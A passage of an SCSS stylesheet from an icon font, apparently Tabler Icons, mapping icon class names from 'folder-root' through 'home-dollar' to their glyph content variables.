$ti-icon-folder-root;\n}\n\n.#{$ti-prefix}-folder-search:before {\n  content: $ti-icon-folder-search;\n}\n\n.#{$ti-prefix}-folder-share:before {\n  content: $ti-icon-folder-share;\n}\n\n.#{$ti-prefix}-folder-star:before {\n  content: $ti-icon-folder-star;\n}\n\n.#{$ti-prefix}-folder-symlink:before {\n  content: $ti-icon-folder-symlink;\n}\n\n.#{$ti-prefix}-folder-up:before {\n  content: $ti-icon-folder-up;\n}\n\n.#{$ti-prefix}-folder-x:before {\n  content: $ti-icon-folder-x;\n}\n\n.#{$ti-prefix}-folders:before {\n  content: $ti-icon-folders;\n}\n\n.#{$ti-prefix}-folders-off:before {\n  content: $ti-icon-folders-off;\n}\n\n.#{$ti-prefix}-forbid:before {\n  content: $ti-icon-forbid;\n}\n\n.#{$ti-prefix}-forbid-2:before {\n  content: $ti-icon-forbid-2;\n}\n\n.#{$ti-prefix}-forbid-2-filled:before {\n  content: $ti-icon-forbid-2-filled;\n}\n\n.#{$ti-prefix}-forbid-filled:before {\n  content: $ti-icon-forbid-filled;\n}\n\n.#{$ti-prefix}-forklift:before {\n  content: $ti-icon-forklift;\n}\n\n.#{$ti-prefix}-forms:before {\n  content: $ti-icon-forms;\n}\n\n.#{$ti-prefix}-fountain:before {\n  content: $ti-icon-fountain;\n}\n\n.#{$ti-prefix}-fountain-filled:before {\n  content: $ti-icon-fountain-filled;\n}\n\n.#{$ti-prefix}-fountain-off:before {\n  content: $ti-icon-fountain-off;\n}\n\n.#{$ti-prefix}-frame:before {\n  content: $ti-icon-frame;\n}\n\n.#{$ti-prefix}-frame-off:before {\n  content: $ti-icon-frame-off;\n}\n\n.#{$ti-prefix}-free-rights:before {\n  content: $ti-icon-free-rights;\n}\n\n.#{$ti-prefix}-freeze-column:before {\n  content: $ti-icon-freeze-column;\n}\n\n.#{$ti-prefix}-freeze-row:before {\n  content: $ti-icon-freeze-row;\n}\n\n.#{$ti-prefix}-freeze-row-column:before {\n  content: $ti-icon-freeze-row-column;\n}\n\n.#{$ti-prefix}-fridge:before {\n  content: $ti-icon-fridge;\n}\n\n.#{$ti-prefix}-fridge-off:before {\n  content: $ti-icon-fridge-off;\n}\n\n.#{$ti-prefix}-friends:before {\n  content: $ti-icon-friends;\n}\n\n.#{$ti-prefix}-friends-off:before {\n  content: $ti-icon-friends-off;\n}\n\n.#{$ti-prefix}-frustum:before {\n  content: $ti-icon-frustum;\n}\n\n.#{$ti-prefix}-frustum-off:before {\n  content: $ti-icon-frustum-off;\n}\n\n.#{$ti-prefix}-frustum-plus:before {\n  content: $ti-icon-frustum-plus;\n}\n\n.#{$ti-prefix}-function:before {\n  content: $ti-icon-function;\n}\n\n.#{$ti-prefix}-function-filled:before {\n  content: $ti-icon-function-filled;\n}\n\n.#{$ti-prefix}-function-off:before {\n  content: $ti-icon-function-off;\n}\n\n.#{$ti-prefix}-galaxy:before {\n  content: $ti-icon-galaxy;\n}\n\n.#{$ti-prefix}-garden-cart:before {\n  content: $ti-icon-garden-cart;\n}\n\n.#{$ti-prefix}-garden-cart-off:before {\n  content: $ti-icon-garden-cart-off;\n}\n\n.#{$ti-prefix}-gas-station:before {\n  content: $ti-icon-gas-station;\n}\n\n.#{$ti-prefix}-gas-station-off:before {\n  content: $ti-icon-gas-station-off;\n}\n\n.#{$ti-prefix}-gauge:before {\n  content: $ti-icon-gauge;\n}\n\n.#{$ti-prefix}-gauge-filled:before {\n  content: $ti-icon-gauge-filled;\n}\n\n.#{$ti-prefix}-gauge-off:before {\n  content: $ti-icon-gauge-off;\n}\n\n.#{$ti-prefix}-gavel:before {\n  content: $ti-icon-gavel;\n}\n\n.#{$ti-prefix}-gender-agender:before {\n  content: $ti-icon-gender-agender;\n}\n\n.#{$ti-prefix}-gender-androgyne:before {\n  content: $ti-icon-gender-androgyne;\n}\n\n.#{$ti-prefix}-gender-bigender:before {\n  content: $ti-icon-gender-bigender;\n}\n\n.#{$ti-prefix}-gender-demiboy:before {\n  content: $ti-icon-gender-demiboy;\n}\n\n.#{$ti-prefix}-gender-demigirl:before {\n  content: $ti-icon-gender-demigirl;\n}\n\n.#{$ti-prefix}-gender-epicene:before {\n  content: $ti-icon-gender-epicene;\n}\n\n.#{$ti-prefix}-gender-female:before {\n  content: $ti-icon-gender-female;\n}\n\n.#{$ti-prefix}-gender-femme:before {\n  content: $ti-icon-gender-femme;\n}\n\n.#{$ti-prefix}-gender-genderfluid:before {\n  content: $ti-icon-gender-genderfluid;\n}\n\n.#{$ti-prefix}-gender-genderless:before {\n  content: $ti-icon-gender-genderless;\n}\n\n.#{$ti-prefix}-gender-genderqueer:before {\n  content: $ti-icon-gender-genderqueer;\n}\n\n.#{$ti-prefix}-gender-hermaphrodite:before {\n  content: $ti-icon-gender-hermaphrodite;\n}\n\n.#{$ti-prefix}-gender-intergender:before {\n  content: $ti-icon-gender-intergender;\n}\n\n.#{$ti-prefix}-gender-male:before {\n  content: $ti-icon-gender-male;\n}\n\n.#{$ti-prefix}-gender-neutrois:before {\n  content: $ti-icon-gender-neutrois;\n}\n\n.#{$ti-prefix}-gender-third:before {\n  content: $ti-icon-gender-third;\n}\n\n.#{$ti-prefix}-gender-transgender:before {\n  content: $ti-icon-gender-transgender;\n}\n\n.#{$ti-prefix}-gender-trasvesti:before {\n  content: $ti-icon-gender-trasvesti;\n}\n\n.#{$ti-prefix}-geometry:before {\n  content: $ti-icon-geometry;\n}\n\n.#{$ti-prefix}-ghost:before {\n  content: $ti-icon-ghost;\n}\n\n.#{$ti-prefix}-ghost-2:before {\n  content: $ti-icon-ghost-2;\n}\n\n.#{$ti-prefix}-ghost-2-filled:before {\n  content: $ti-icon-ghost-2-filled;\n}\n\n.#{$ti-prefix}-ghost-3:before {\n  content: $ti-icon-ghost-3;\n}\n\n.#{$ti-prefix}-ghost-filled:before {\n  content: $ti-icon-ghost-filled;\n}\n\n.#{$ti-prefix}-ghost-off:before {\n  content: $ti-icon-ghost-off;\n}\n\n.#{$ti-prefix}-gif:before {\n  content: $ti-icon-gif;\n}\n\n.#{$ti-prefix}-gift:before {\n  content: $ti-icon-gift;\n}\n\n.#{$ti-prefix}-gift-card:before {\n  content: $ti-icon-gift-card;\n}\n\n.#{$ti-prefix}-gift-card-filled:before {\n  content: $ti-icon-gift-card-filled;\n}\n\n.#{$ti-prefix}-gift-filled:before {\n  content: $ti-icon-gift-filled;\n}\n\n.#{$ti-prefix}-gift-off:before {\n  content: $ti-icon-gift-off;\n}\n\n.#{$ti-prefix}-git-branch:before {\n  content: $ti-icon-git-branch;\n}\n\n.#{$ti-prefix}-git-branch-deleted:before {\n  content: $ti-icon-git-branch-deleted;\n}\n\n.#{$ti-prefix}-git-cherry-pick:before {\n  content: $ti-icon-git-cherry-pick;\n}\n\n.#{$ti-prefix}-git-commit:before {\n  content: $ti-icon-git-commit;\n}\n\n.#{$ti-prefix}-git-compare:before {\n  content: $ti-icon-git-compare;\n}\n\n.#{$ti-prefix}-git-fork:before {\n  content: $ti-icon-git-fork;\n}\n\n.#{$ti-prefix}-git-merge:before {\n  content: $ti-icon-git-merge;\n}\n\n.#{$ti-prefix}-git-pull-request:before {\n  content: $ti-icon-git-pull-request;\n}\n\n.#{$ti-prefix}-git-pull-request-closed:before {\n  content: $ti-icon-git-pull-request-closed;\n}\n\n.#{$ti-prefix}-git-pull-request-draft:before {\n  content: $ti-icon-git-pull-request-draft;\n}\n\n.#{$ti-prefix}-gizmo:before {\n  content: $ti-icon-gizmo;\n}\n\n.#{$ti-prefix}-glass:before {\n  content: $ti-icon-glass;\n}\n\n.#{$ti-prefix}-glass-champagne:before {\n  content: $ti-icon-glass-champagne;\n}\n\n.#{$ti-prefix}-glass-cocktail:before {\n  content: $ti-icon-glass-cocktail;\n}\n\n.#{$ti-prefix}-glass-full:before {\n  content: $ti-icon-glass-full;\n}\n\n.#{$ti-prefix}-glass-full-filled:before {\n  content: $ti-icon-glass-full-filled;\n}\n\n.#{$ti-prefix}-glass-gin:before {\n  content: $ti-icon-glass-gin;\n}\n\n.#{$ti-prefix}-glass-off:before {\n  content: $ti-icon-glass-off;\n}\n\n.#{$ti-prefix}-globe:before {\n  content: $ti-icon-globe;\n}\n\n.#{$ti-prefix}-globe-filled:before {\n  content: $ti-icon-globe-filled;\n}\n\n.#{$ti-prefix}-globe-off:before {\n  content: $ti-icon-globe-off;\n}\n\n.#{$ti-prefix}-go-game:before {\n  content: $ti-icon-go-game;\n}\n\n.#{$ti-prefix}-golf:before {\n  content: $ti-icon-golf;\n}\n\n.#{$ti-prefix}-golf-off:before {\n  content: $ti-icon-golf-off;\n}\n\n.#{$ti-prefix}-gps:before {\n  content: $ti-icon-gps;\n}\n\n.#{$ti-prefix}-gps-filled:before {\n  content: $ti-icon-gps-filled;\n}\n\n.#{$ti-prefix}-gradienter:before {\n  content: $ti-icon-gradienter;\n}\n\n.#{$ti-prefix}-grain:before {\n  content: $ti-icon-grain;\n}\n\n.#{$ti-prefix}-graph:before {\n  content: $ti-icon-graph;\n}\n\n.#{$ti-prefix}-graph-filled:before {\n  content: $ti-icon-graph-filled;\n}\n\n.#{$ti-prefix}-graph-off:before {\n  content: $ti-icon-graph-off;\n}\n\n.#{$ti-prefix}-grave:before {\n  content: $ti-icon-grave;\n}\n\n.#{$ti-prefix}-grave-2:before {\n  content: $ti-icon-grave-2;\n}\n\n.#{$ti-prefix}-grid-3x3:before {\n  content: $ti-icon-grid-3x3;\n}\n\n.#{$ti-prefix}-grid-4x4:before {\n  content: $ti-icon-grid-4x4;\n}\n\n.#{$ti-prefix}-grid-dots:before {\n  content: $ti-icon-grid-dots;\n}\n\n.#{$ti-prefix}-grid-goldenratio:before {\n  content: $ti-icon-grid-goldenratio;\n}\n\n.#{$ti-prefix}-grid-pattern:before {\n  content: $ti-icon-grid-pattern;\n}\n\n.#{$ti-prefix}-grid-scan:before {\n  content: $ti-icon-grid-scan;\n}\n\n.#{$ti-prefix}-grill:before {\n  content: $ti-icon-grill;\n}\n\n.#{$ti-prefix}-grill-fork:before {\n  content: $ti-icon-grill-fork;\n}\n\n.#{$ti-prefix}-grill-off:before {\n  content: $ti-icon-grill-off;\n}\n\n.#{$ti-prefix}-grill-spatula:before {\n  content: $ti-icon-grill-spatula;\n}\n\n.#{$ti-prefix}-grip-horizontal:before {\n  content: $ti-icon-grip-horizontal;\n}\n\n.#{$ti-prefix}-grip-vertical:before {\n  content: $ti-icon-grip-vertical;\n}\n\n.#{$ti-prefix}-growth:before {\n  content: $ti-icon-growth;\n}\n\n.#{$ti-prefix}-guitar-pick:before {\n  content: $ti-icon-guitar-pick;\n}\n\n.#{$ti-prefix}-guitar-pick-filled:before {\n  content: $ti-icon-guitar-pick-filled;\n}\n\n.#{$ti-prefix}-gymnastics:before {\n  content: $ti-icon-gymnastics;\n}\n\n.#{$ti-prefix}-h-1:before {\n  content: $ti-icon-h-1;\n}\n\n.#{$ti-prefix}-h-2:before {\n  content: $ti-icon-h-2;\n}\n\n.#{$ti-prefix}-h-3:before {\n  content: $ti-icon-h-3;\n}\n\n.#{$ti-prefix}-h-4:before {\n  content: $ti-icon-h-4;\n}\n\n.#{$ti-prefix}-h-5:before {\n  content: $ti-icon-h-5;\n}\n\n.#{$ti-prefix}-h-6:before {\n  content: $ti-icon-h-6;\n}\n\n.#{$ti-prefix}-hammer:before {\n  content: $ti-icon-hammer;\n}\n\n.#{$ti-prefix}-hammer-off:before {\n  content: $ti-icon-hammer-off;\n}\n\n.#{$ti-prefix}-hand-click:before {\n  content: $ti-icon-hand-click;\n}\n\n.#{$ti-prefix}-hand-finger:before {\n  content: $ti-icon-hand-finger;\n}\n\n.#{$ti-prefix}-hand-finger-off:before {\n  content: $ti-icon-hand-finger-off;\n}\n\n.#{$ti-prefix}-hand-grab:before {\n  content: $ti-icon-hand-grab;\n}\n\n.#{$ti-prefix}-hand-little-finger:before {\n  content: $ti-icon-hand-little-finger;\n}\n\n.#{$ti-prefix}-hand-love-you:before {\n  content: $ti-icon-hand-love-you;\n}\n\n.#{$ti-prefix}-hand-middle-finger:before {\n  content: $ti-icon-hand-middle-finger;\n}\n\n.#{$ti-prefix}-hand-move:before {\n  content: $ti-icon-hand-move;\n}\n\n.#{$ti-prefix}-hand-off:before {\n  content: $ti-icon-hand-off;\n}\n\n.#{$ti-prefix}-hand-ring-finger:before {\n  content: $ti-icon-hand-ring-finger;\n}\n\n.#{$ti-prefix}-hand-sanitizer:before {\n  content: $ti-icon-hand-sanitizer;\n}\n\n.#{$ti-prefix}-hand-stop:before {\n  content: $ti-icon-hand-stop;\n}\n\n.#{$ti-prefix}-hand-three-fingers:before {\n  content: $ti-icon-hand-three-fingers;\n}\n\n.#{$ti-prefix}-hand-two-fingers:before {\n  content: $ti-icon-hand-two-fingers;\n}\n\n.#{$ti-prefix}-hanger:before {\n  content: $ti-icon-hanger;\n}\n\n.#{$ti-prefix}-hanger-2:before {\n  content: $ti-icon-hanger-2;\n}\n\n.#{$ti-prefix}-hanger-off:before {\n  content: $ti-icon-hanger-off;\n}\n\n.#{$ti-prefix}-hash:before {\n  content: $ti-icon-hash;\n}\n\n.#{$ti-prefix}-haze:before {\n  content: $ti-icon-haze;\n}\n\n.#{$ti-prefix}-haze-moon:before {\n  content: $ti-icon-haze-moon;\n}\n\n.#{$ti-prefix}-hdr:before {\n  content: $ti-icon-hdr;\n}\n\n.#{$ti-prefix}-heading:before {\n  content: $ti-icon-heading;\n}\n\n.#{$ti-prefix}-heading-off:before {\n  content: $ti-icon-heading-off;\n}\n\n.#{$ti-prefix}-headphones:before {\n  content: $ti-icon-headphones;\n}\n\n.#{$ti-prefix}-headphones-filled:before {\n  content: $ti-icon-headphones-filled;\n}\n\n.#{$ti-prefix}-headphones-off:before {\n  content: $ti-icon-headphones-off;\n}\n\n.#{$ti-prefix}-headset:before {\n  content: $ti-icon-headset;\n}\n\n.#{$ti-prefix}-headset-off:before {\n  content: $ti-icon-headset-off;\n}\n\n.#{$ti-prefix}-health-recognition:before {\n  content: $ti-icon-health-recognition;\n}\n\n.#{$ti-prefix}-heart:before {\n  content: $ti-icon-heart;\n}\n\n.#{$ti-prefix}-heart-bolt:before {\n  content: $ti-icon-heart-bolt;\n}\n\n.#{$ti-prefix}-heart-broken:before {\n  content: $ti-icon-heart-broken;\n}\n\n.#{$ti-prefix}-heart-cancel:before {\n  content: $ti-icon-heart-cancel;\n}\n\n.#{$ti-prefix}-heart-check:before {\n  content: $ti-icon-heart-check;\n}\n\n.#{$ti-prefix}-heart-code:before {\n  content: $ti-icon-heart-code;\n}\n\n.#{$ti-prefix}-heart-cog:before {\n  content: $ti-icon-heart-cog;\n}\n\n.#{$ti-prefix}-heart-discount:before {\n  content: $ti-icon-heart-discount;\n}\n\n.#{$ti-prefix}-heart-dollar:before {\n  content: $ti-icon-heart-dollar;\n}\n\n.#{$ti-prefix}-heart-down:before {\n  content: $ti-icon-heart-down;\n}\n\n.#{$ti-prefix}-heart-exclamation:before {\n  content: $ti-icon-heart-exclamation;\n}\n\n.#{$ti-prefix}-heart-filled:before {\n  content: $ti-icon-heart-filled;\n}\n\n.#{$ti-prefix}-heart-handshake:before {\n  content: $ti-icon-heart-handshake;\n}\n\n.#{$ti-prefix}-heart-minus:before {\n  content: $ti-icon-heart-minus;\n}\n\n.#{$ti-prefix}-heart-off:before {\n  content: $ti-icon-heart-off;\n}\n\n.#{$ti-prefix}-heart-pause:before {\n  content: $ti-icon-heart-pause;\n}\n\n.#{$ti-prefix}-heart-pin:before {\n  content: $ti-icon-heart-pin;\n}\n\n.#{$ti-prefix}-heart-plus:before {\n  content: $ti-icon-heart-plus;\n}\n\n.#{$ti-prefix}-heart-question:before {\n  content: $ti-icon-heart-question;\n}\n\n.#{$ti-prefix}-heart-rate-monitor:before {\n  content: $ti-icon-heart-rate-monitor;\n}\n\n.#{$ti-prefix}-heart-search:before {\n  content: $ti-icon-heart-search;\n}\n\n.#{$ti-prefix}-heart-share:before {\n  content: $ti-icon-heart-share;\n}\n\n.#{$ti-prefix}-heart-star:before {\n  content: $ti-icon-heart-star;\n}\n\n.#{$ti-prefix}-heart-up:before {\n  content: $ti-icon-heart-up;\n}\n\n.#{$ti-prefix}-heart-x:before {\n  content: $ti-icon-heart-x;\n}\n\n.#{$ti-prefix}-heartbeat:before {\n  content: $ti-icon-heartbeat;\n}\n\n.#{$ti-prefix}-hearts:before {\n  content: $ti-icon-hearts;\n}\n\n.#{$ti-prefix}-hearts-off:before {\n  content: $ti-icon-hearts-off;\n}\n\n.#{$ti-prefix}-helicopter:before {\n  content: $ti-icon-helicopter;\n}\n\n.#{$ti-prefix}-helicopter-landing:before {\n  content: $ti-icon-helicopter-landing;\n}\n\n.#{$ti-prefix}-helmet:before {\n  content: $ti-icon-helmet;\n}\n\n.#{$ti-prefix}-helmet-off:before {\n  content: $ti-icon-helmet-off;\n}\n\n.#{$ti-prefix}-help:before {\n  content: $ti-icon-help;\n}\n\n.#{$ti-prefix}-help-circle:before {\n  content: $ti-icon-help-circle;\n}\n\n.#{$ti-prefix}-help-circle-filled:before {\n  content: $ti-icon-help-circle-filled;\n}\n\n.#{$ti-prefix}-help-hexagon:before {\n  content: $ti-icon-help-hexagon;\n}\n\n.#{$ti-prefix}-help-hexagon-filled:before {\n  content: $ti-icon-help-hexagon-filled;\n}\n\n.#{$ti-prefix}-help-octagon:before {\n  content: $ti-icon-help-octagon;\n}\n\n.#{$ti-prefix}-help-octagon-filled:before {\n  content: $ti-icon-help-octagon-filled;\n}\n\n.#{$ti-prefix}-help-off:before {\n  content: $ti-icon-help-off;\n}\n\n.#{$ti-prefix}-help-small:before {\n  content: $ti-icon-help-small;\n}\n\n.#{$ti-prefix}-help-square:before {\n  content: $ti-icon-help-square;\n}\n\n.#{$ti-prefix}-help-square-filled:before {\n  content: $ti-icon-help-square-filled;\n}\n\n.#{$ti-prefix}-help-square-rounded:before {\n  content: $ti-icon-help-square-rounded;\n}\n\n.#{$ti-prefix}-help-square-rounded-filled:before {\n  content: $ti-icon-help-square-rounded-filled;\n}\n\n.#{$ti-prefix}-help-triangle:before {\n  content: $ti-icon-help-triangle;\n}\n\n.#{$ti-prefix}-help-triangle-filled:before {\n  content: $ti-icon-help-triangle-filled;\n}\n\n.#{$ti-prefix}-hemisphere:before {\n  content: $ti-icon-hemisphere;\n}\n\n.#{$ti-prefix}-hemisphere-off:before {\n  content: $ti-icon-hemisphere-off;\n}\n\n.#{$ti-prefix}-hemisphere-plus:before {\n  content: $ti-icon-hemisphere-plus;\n}\n\n.#{$ti-prefix}-hexagon:before {\n  content: $ti-icon-hexagon;\n}\n\n.#{$ti-prefix}-hexagon-3d:before {\n  content: $ti-icon-hexagon-3d;\n}\n\n.#{$ti-prefix}-hexagon-filled:before {\n  content: $ti-icon-hexagon-filled;\n}\n\n.#{$ti-prefix}-hexagon-letter-a:before {\n  content: $ti-icon-hexagon-letter-a;\n}\n\n.#{$ti-prefix}-hexagon-letter-a-filled:before {\n  content: $ti-icon-hexagon-letter-a-filled;\n}\n\n.#{$ti-prefix}-hexagon-letter-b:before {\n  content: $ti-icon-hexagon-letter-b;\n}\n\n.#{$ti-prefix}-hexagon-letter-b-filled:before {\n  content: $ti-icon-hexagon-letter-b-filled;\n}\n\n.#{$ti-prefix}-hexagon-letter-c:before {\n  content: $ti-icon-hexagon-letter-c;\n}\n\n.#{$ti-prefix}-hexagon-letter-c-filled:before {\n  content: $ti-icon-hexagon-letter-c-filled;\n}\n\n.#{$ti-prefix}-hexagon-letter-d:before {\n  content: $ti-icon-hexagon-letter-d;\n}\n\n.#{$ti-prefix}-hexagon-letter-d-filled:before {\n  content: $ti-icon-hexagon-letter-d-filled;\n}\n\n.#{$ti-prefix}-hexagon-letter-e:before {\n  content: $ti-icon-hexagon-letter-e;\n}\n\n.#{$ti-prefix}-hexagon-letter-e-filled:before {\n  content: $ti-icon-hexagon-letter-e-filled;\n}\n\n.#{$ti-prefix}-hexagon-letter-f:before {\n  content: $ti-icon-hexagon-letter-f;\n}\n\n.#{$ti-prefix}-hexagon-letter-f-filled:before {\n  content: $ti-icon-hexagon-letter-f-filled;\n}\n\n.#{$ti-prefix}-hexagon-letter-g:before {\n  content: $ti-icon-hexagon-letter-g;\n}\n\n.#{$ti-prefix}-hexagon-letter-g-filled:before {\n  content: $ti-icon-hexagon-letter-g-filled;\n}\n\n.#{$ti-prefix}-hexagon-letter-h:before {\n  content: $ti-icon-hexagon-letter-h;\n}\n\n.#{$ti-prefix}-hexagon-letter-h-filled:before {\n  content: $ti-icon-hexagon-letter-h-filled;\n}\n\n.#{$ti-prefix}-hexagon-letter-i:before {\n  content: $ti-icon-hexagon-letter-i;\n}\n\n.#{$ti-prefix}-hexagon-letter-i-filled:before {\n  content: $ti-icon-hexagon-letter-i-filled;\n}\n\n.#{$ti-prefix}-hexagon-letter-j:before {\n  content: $ti-icon-hexagon-letter-j;\n}\n\n.#{$ti-prefix}-hexagon-letter-j-filled:before {\n  content: $ti-icon-hexagon-letter-j-filled;\n}\n\n.#{$ti-prefix}-hexagon-letter-k:before {\n  content: $ti-icon-hexagon-letter-k;\n}\n\n.#{$ti-prefix}-hexagon-letter-k-filled:before {\n  content: $ti-icon-hexagon-letter-k-filled;\n}\n\n.#{$ti-prefix}-hexagon-letter-l:before {\n  content: $ti-icon-hexagon-letter-l;\n}\n\n.#{$ti-prefix}-hexagon-letter-l-filled:before {\n  content: $ti-icon-hexagon-letter-l-filled;\n}\n\n.#{$ti-prefix}-hexagon-letter-m:before {\n  content: $ti-icon-hexagon-letter-m;\n}\n\n.#{$ti-prefix}-hexagon-letter-m-filled:before {\n  content: $ti-icon-hexagon-letter-m-filled;\n}\n\n.#{$ti-prefix}-hexagon-letter-n:before {\n  content: $ti-icon-hexagon-letter-n;\n}\n\n.#{$ti-prefix}-hexagon-letter-n-filled:before {\n  content: $ti-icon-hexagon-letter-n-filled;\n}\n\n.#{$ti-prefix}-hexagon-letter-o:before {\n  content: $ti-icon-hexagon-letter-o;\n}\n\n.#{$ti-prefix}-hexagon-letter-o-filled:before {\n  content: $ti-icon-hexagon-letter-o-filled;\n}\n\n.#{$ti-prefix}-hexagon-letter-p:before {\n  content: $ti-icon-hexagon-letter-p;\n}\n\n.#{$ti-prefix}-hexagon-letter-p-filled:before {\n  content: $ti-icon-hexagon-letter-p-filled;\n}\n\n.#{$ti-prefix}-hexagon-letter-q:before {\n  content: $ti-icon-hexagon-letter-q;\n}\n\n.#{$ti-prefix}-hexagon-letter-q-filled:before {\n  content: $ti-icon-hexagon-letter-q-filled;\n}\n\n.#{$ti-prefix}-hexagon-letter-r:before {\n  content: $ti-icon-hexagon-letter-r;\n}\n\n.#{$ti-prefix}-hexagon-letter-r-filled:before {\n  content: $ti-icon-hexagon-letter-r-filled;\n}\n\n.#{$ti-prefix}-hexagon-letter-s:before {\n  content: $ti-icon-hexagon-letter-s;\n}\n\n.#{$ti-prefix}-hexagon-letter-s-filled:before {\n  content: $ti-icon-hexagon-letter-s-filled;\n}\n\n.#{$ti-prefix}-hexagon-letter-t:before {\n  content: $ti-icon-hexagon-letter-t;\n}\n\n.#{$ti-prefix}-hexagon-letter-t-filled:before {\n  content: $ti-icon-hexagon-letter-t-filled;\n}\n\n.#{$ti-prefix}-hexagon-letter-u:before {\n  content: $ti-icon-hexagon-letter-u;\n}\n\n.#{$ti-prefix}-hexagon-letter-u-filled:before {\n  content: $ti-icon-hexagon-letter-u-filled;\n}\n\n.#{$ti-prefix}-hexagon-letter-v:before {\n  content: $ti-icon-hexagon-letter-v;\n}\n\n.#{$ti-prefix}-hexagon-letter-v-filled:before {\n  content: $ti-icon-hexagon-letter-v-filled;\n}\n\n.#{$ti-prefix}-hexagon-letter-w:before {\n  content: $ti-icon-hexagon-letter-w;\n}\n\n.#{$ti-prefix}-hexagon-letter-w-filled:before {\n  content: $ti-icon-hexagon-letter-w-filled;\n}\n\n.#{$ti-prefix}-hexagon-letter-x:before {\n  content: $ti-icon-hexagon-letter-x;\n}\n\n.#{$ti-prefix}-hexagon-letter-x-filled:before {\n  content: $ti-icon-hexagon-letter-x-filled;\n}\n\n.#{$ti-prefix}-hexagon-letter-y:before {\n  content: $ti-icon-hexagon-letter-y;\n}\n\n.#{$ti-prefix}-hexagon-letter-y-filled:before {\n  content: $ti-icon-hexagon-letter-y-filled;\n}\n\n.#{$ti-prefix}-hexagon-letter-z:before {\n  content: $ti-icon-hexagon-letter-z;\n}\n\n.#{$ti-prefix}-hexagon-letter-z-filled:before {\n  content: $ti-icon-hexagon-letter-z-filled;\n}\n\n.#{$ti-prefix}-hexagon-minus:before {\n  content: $ti-icon-hexagon-minus;\n}\n\n.#{$ti-prefix}-hexagon-minus-2:before {\n  content: $ti-icon-hexagon-minus-2;\n}\n\n.#{$ti-prefix}-hexagon-minus-filled:before {\n  content: $ti-icon-hexagon-minus-filled;\n}\n\n.#{$ti-prefix}-hexagon-number-0:before {\n  content: $ti-icon-hexagon-number-0;\n}\n\n.#{$ti-prefix}-hexagon-number-0-filled:before {\n  content: $ti-icon-hexagon-number-0-filled;\n}\n\n.#{$ti-prefix}-hexagon-number-1:before {\n  content: $ti-icon-hexagon-number-1;\n}\n\n.#{$ti-prefix}-hexagon-number-1-filled:before {\n  content: $ti-icon-hexagon-number-1-filled;\n}\n\n.#{$ti-prefix}-hexagon-number-2:before {\n  content: $ti-icon-hexagon-number-2;\n}\n\n.#{$ti-prefix}-hexagon-number-2-filled:before {\n  content: $ti-icon-hexagon-number-2-filled;\n}\n\n.#{$ti-prefix}-hexagon-number-3:before {\n  content: $ti-icon-hexagon-number-3;\n}\n\n.#{$ti-prefix}-hexagon-number-3-filled:before {\n  content: $ti-icon-hexagon-number-3-filled;\n}\n\n.#{$ti-prefix}-hexagon-number-4:before {\n  content: $ti-icon-hexagon-number-4;\n}\n\n.#{$ti-prefix}-hexagon-number-4-filled:before {\n  content: $ti-icon-hexagon-number-4-filled;\n}\n\n.#{$ti-prefix}-hexagon-number-5:before {\n  content: $ti-icon-hexagon-number-5;\n}\n\n.#{$ti-prefix}-hexagon-number-5-filled:before {\n  content: $ti-icon-hexagon-number-5-filled;\n}\n\n.#{$ti-prefix}-hexagon-number-6:before {\n  content: $ti-icon-hexagon-number-6;\n}\n\n.#{$ti-prefix}-hexagon-number-6-filled:before {\n  content: $ti-icon-hexagon-number-6-filled;\n}\n\n.#{$ti-prefix}-hexagon-number-7:before {\n  content: $ti-icon-hexagon-number-7;\n}\n\n.#{$ti-prefix}-hexagon-number-7-filled:before {\n  content: $ti-icon-hexagon-number-7-filled;\n}\n\n.#{$ti-prefix}-hexagon-number-8:before {\n  content: $ti-icon-hexagon-number-8;\n}\n\n.#{$ti-prefix}-hexagon-number-8-filled:before {\n  content: $ti-icon-hexagon-number-8-filled;\n}\n\n.#{$ti-prefix}-hexagon-number-9:before {\n  content: $ti-icon-hexagon-number-9;\n}\n\n.#{$ti-prefix}-hexagon-number-9-filled:before {\n  content: $ti-icon-hexagon-number-9-filled;\n}\n\n.#{$ti-prefix}-hexagon-off:before {\n  content: $ti-icon-hexagon-off;\n}\n\n.#{$ti-prefix}-hexagon-plus:before {\n  content: $ti-icon-hexagon-plus;\n}\n\n.#{$ti-prefix}-hexagon-plus-2:before {\n  content: $ti-icon-hexagon-plus-2;\n}\n\n.#{$ti-prefix}-hexagon-plus-filled:before {\n  content: $ti-icon-hexagon-plus-filled;\n}\n\n.#{$ti-prefix}-hexagonal-prism:before {\n  content: $ti-icon-hexagonal-prism;\n}\n\n.#{$ti-prefix}-hexagonal-prism-off:before {\n  content: $ti-icon-hexagonal-prism-off;\n}\n\n.#{$ti-prefix}-hexagonal-prism-plus:before {\n  content: $ti-icon-hexagonal-prism-plus;\n}\n\n.#{$ti-prefix}-hexagonal-pyramid:before {\n  content: $ti-icon-hexagonal-pyramid;\n}\n\n.#{$ti-prefix}-hexagonal-pyramid-off:before {\n  content: $ti-icon-hexagonal-pyramid-off;\n}\n\n.#{$ti-prefix}-hexagonal-pyramid-plus:before {\n  content: $ti-icon-hexagonal-pyramid-plus;\n}\n\n.#{$ti-prefix}-hexagons:before {\n  content: $ti-icon-hexagons;\n}\n\n.#{$ti-prefix}-hexagons-off:before {\n  content: $ti-icon-hexagons-off;\n}\n\n.#{$ti-prefix}-hierarchy:before {\n  content: $ti-icon-hierarchy;\n}\n\n.#{$ti-prefix}-hierarchy-2:before {\n  content: $ti-icon-hierarchy-2;\n}\n\n.#{$ti-prefix}-hierarchy-3:before {\n  content: $ti-icon-hierarchy-3;\n}\n\n.#{$ti-prefix}-hierarchy-off:before {\n  content: $ti-icon-hierarchy-off;\n}\n\n.#{$ti-prefix}-highlight:before {\n  content: $ti-icon-highlight;\n}\n\n.#{$ti-prefix}-highlight-off:before {\n  content: $ti-icon-highlight-off;\n}\n\n.#{$ti-prefix}-history:before {\n  content: $ti-icon-history;\n}\n\n.#{$ti-prefix}-history-off:before {\n  content: $ti-icon-history-off;\n}\n\n.#{$ti-prefix}-history-toggle:before {\n  content: $ti-icon-history-toggle;\n}\n\n.#{$ti-prefix}-home:before {\n  content: $ti-icon-home;\n}\n\n.#{$ti-prefix}-home-2:before {\n  content: $ti-icon-home-2;\n}\n\n.#{$ti-prefix}-home-bolt:before {\n  content: $ti-icon-home-bolt;\n}\n\n.#{$ti-prefix}-home-cancel:before {\n  content: $ti-icon-home-cancel;\n}\n\n.#{$ti-prefix}-home-check:before {\n  content: $ti-icon-home-check;\n}\n\n.#{$ti-prefix}-home-cog:before {\n  content: $ti-icon-home-cog;\n}\n\n.#{$ti-prefix}-home-dollar:before {\n  content: 